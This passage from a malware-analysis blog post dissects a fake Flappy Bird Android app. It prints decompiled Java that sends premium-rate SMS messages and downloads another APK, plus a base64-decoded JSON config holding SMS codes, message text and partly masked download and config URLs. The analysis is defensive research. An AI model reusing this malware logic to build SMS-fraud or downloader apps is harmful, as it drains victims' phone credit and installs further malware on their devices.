                if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
                {
                  SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
                  i = 1;
                }
              }
              else
              {
                Log.i("i", this.val$i);
                if (Service_mLink.instance.listLinkInfo.size() != 1)
                  break label450;
                if ((this.val$number_send == 1) && (this.val$i == 1))
                {
                  FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
                  MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
                  String[] arrayOfString2 = new String[2];
                  arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
                  arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
                  localDownloadFileFromURL2.execute(arrayOfString2);
                }
                if ((this.val$number_send == 2) && (this.val$i == 2))
                {
                  FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
                  MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
                  String[] arrayOfString1 = new String[2];
                  arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
                  arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
                  localDownloadFileFromURL1.execute(arrayOfString1);
                }
                paramDialogInterface.cancel();
                if (i == 0)
                {
                  if (!Service_mLink.link_redirect.equals(""))
                    MainActivity.this.startWebsite(Service_mLink.link_redirect);
                  System.exit(1);
                }
                return;
              }
            }
          }
          catch (Exception localException)
          {
            while (true)
            {
              MainActivity.this.auto_sms = "0";
              continue;
              SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
              continue;
              label450: if ((this.val$number_send == 1) && (this.val$i == 1))
                FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
              if ((this.val$number_send != 2) || (this.val$i != 2))
                continue;
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
            }
            Toast.makeText(MainActivity.this, "B?n ?ă không có Sim ?i?n tho?i.\n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
            return;
          }
        paramDialogInterface.cancel();
        if (!Service_mLink.link_redirect.equals(""))
          MainActivity.this.startWebsite(Service_mLink.link_redirect);
        System.exit(1);
      }
    });
    localBuilder.show();
  }

So when the popup dialogue is created, the method fires off another SMS message and this would explain why our dynamic analysis showed two SMS messages being sent.

Final piece of the puzzle

There's still one big piece of this puzzle left to solve: we know where in the code the SMS message is sent from, but we haven't seen where the SMS number, SMS message text and also the URL to check which number to send to is defined.

This question also links in the the suspicious image which was downloaded during the dynamic analysis. Where is this URL set in the Java code? Recall the network activity:

GET /upload/bookmark/2014/0208/flappy_1.jpg HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.

There are a few clues in the source code of the app which reveal the details of a configuration file and how to decode its contents. In particular a method called getInfoFromFile

private void getInfoFromFile()
  {
    new ArrayList();
    ArrayList localArrayList = FileManager.loadfileExternalStorage(this, 2130837505);
    try
    {
      this.strDecode = new String(Base64.decode(((String)localArrayList.get(0)).toString()));
      Service_mLink.instance.getCategory(this.strDecode);
      this.have_img = readImage();
      this.isFirstTime = FileManager.loadFtime(this, this.ftime);
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

Line number 4 above loads the variable 2130837505 (which is defined in R.class as config) and line number 7 above uses Base64.decode to read the contents of the config file.

Closer inspection of the APK archive reveals that in the res directory there's another directory called drawable-hdpi (drawable-hdpi is the directory for high-density screen assets, see Android's Supporting Multiple Screens), and it's within this directory that there's a file called config. Its contents, as we expected, are in base64 encoding (see Wikipedia: base64).

Decoding the data contained within the file config reveals the following JSON data:

{
  "sv_code_active": "7740",
  "sv_code_active_2": "7740",
  "mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
  "bm_name": "Flappy bird",
  "header_color": "#1E8CBE",
  "background_color": "#F0F0F0",
  "font_header_color": "#F0F0F0",
  "font_item_color": "#333333",
  "number_send": "2",
  "type_display": "1",
  "include_sdk": "0",
  "link_redirect": "http://choi****game.cu****h.mobi",
  "items": [
    {
      "serviceCode": "7740",
      "serviceCode2": "7740",
      "mo": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "title": "Flappy bird",
      "link_icon": "http://cu****h.mobi/upload/bookmark/2014/0208/flappy_1.jpg",
      "link": "http://andr****ot.net/app/flappy.apk"
    }
  ],
  "url_config_auto_sms": "http://cu****h.mobi/bookmark/getConfigSendSMS",
  "url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000"
}

This JSON data is the final piece of the dissection puzzle and reveals where the app gets its data from to send the premium rate SMS message.

Line number 4 above shows where the SMS message contents are set, line number 20 defines where to download the image (that we saw earlier) from, line 21 tells the app where to download the new Flappy Bird apk from (once the user has been charged via SMS) and finally line number 25 defines the URL to get new SMS numbers.

So it would appear that the downloaded image was just the icon for the new Flappy Bird app. Even though the image download wasn't relevant the suspicious activity led us to the config file.

This confirms that our earlier suspicions were correct: having sent a premium rate SMS message the app then downloads a new version of Flappy Bird (flappy.apk) which is then installed and run.

But there's still one final question remaining: is the newly downloaded Flappy Bird app also malicious?

I've briefly looked at the downloaded flappy.apk and it also seems to send yet more premium rates SMS messages.

Summary

So it turns out that this particular version of Flappy Bird acts as a downloader (charging its user for the privileges) that downloads another malicious version of Flappy Bird which also sends out more premium SMS messages.

As you can see in this blog post we've dissected a malicious version of Flappy Bird using various tools which are free to download online.

Although the Flappy Bird app does warn the user that they need to pay for the app, the actual sending of the premium rate SMS message isn't clear and the fact that the app hides the SMS sent and delivery reports makes it look even more suspicious.

My aim from here is to try to dissect a few more Android apps and hopefully find some new apps which have yet to be discovered as malicious.

Image credit: screenshot of Flappy Bird running on the official Android emulator.

About the author

Simon BellSimon Bell is an award-winning Cyber Security Researcher, Software Engineer, and Web Security Specialist. Simon's research papers have been published internationally, and his findings have featured in Ars Technica, The Hacker News, PC World, among others. He founded Secure Honey, an open-source honeypot and threat intelligence project, in 2013. He has a PhD in Cyber Security from Royal Holloway's world-leading Information Security Group.

Follow Simon on Twitter: @SimonByte